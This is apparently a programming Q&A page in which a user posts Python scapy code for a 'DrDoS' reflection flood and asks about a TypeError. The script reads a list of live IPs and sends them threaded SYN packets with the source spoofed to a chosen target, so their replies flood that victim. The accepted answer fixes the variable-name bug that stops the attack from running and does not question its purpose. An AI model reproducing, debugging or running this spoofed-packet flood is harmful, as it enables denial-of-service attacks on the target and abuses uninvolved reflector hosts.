1

I am trying to make a DrDoS program in python but I keep getting

TypeError: 'str' object is not callable

here is my code

import os
import sys
import threading
from scapy.all import *
from time import sleep

if os.getgid()!=0:
print "Cannot send SYN packets without root, exiting..."
exit(1)

list=raw_input("List of live IPs: ")
target=raw_input("Target: ")
port=int(raw_input("Port: "))

print "Flooding, press ^Z to stop."

class SYNFlood(threading.Thread):
 def run(self):
    c=0
    with open(list, "r") as f:
        IP = f.readline()
        a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
        send(a, verbose=0)
        sys.stdout.write('.')
        c=c+1
    print "Done, sent " + str(c) + " packets."
    exit(0)

for x in range(10):
t = SYNFlood()
t.start()

I did do some research and found this is from a variable that has the name 'str' I have not found this. Interesting.

1 Answer 1

7

These lines here:

IP = f.readline()
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)

contain the problem, IP is a string and you are trying to call it like a function.

IP(dst=IP, src=target, ttl=255)

perhaps you should pick a different variable name so as to not interfere with other namespaces.

Also, this line:

list=raw_input("List of live IPs: ")

prevents you from using the list builtin function, please reconsider this name as well.

Sign up to request clarification or add additional context in comments.

1 Comment

@D4zk1tty, you should probably mark the question as solved then.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.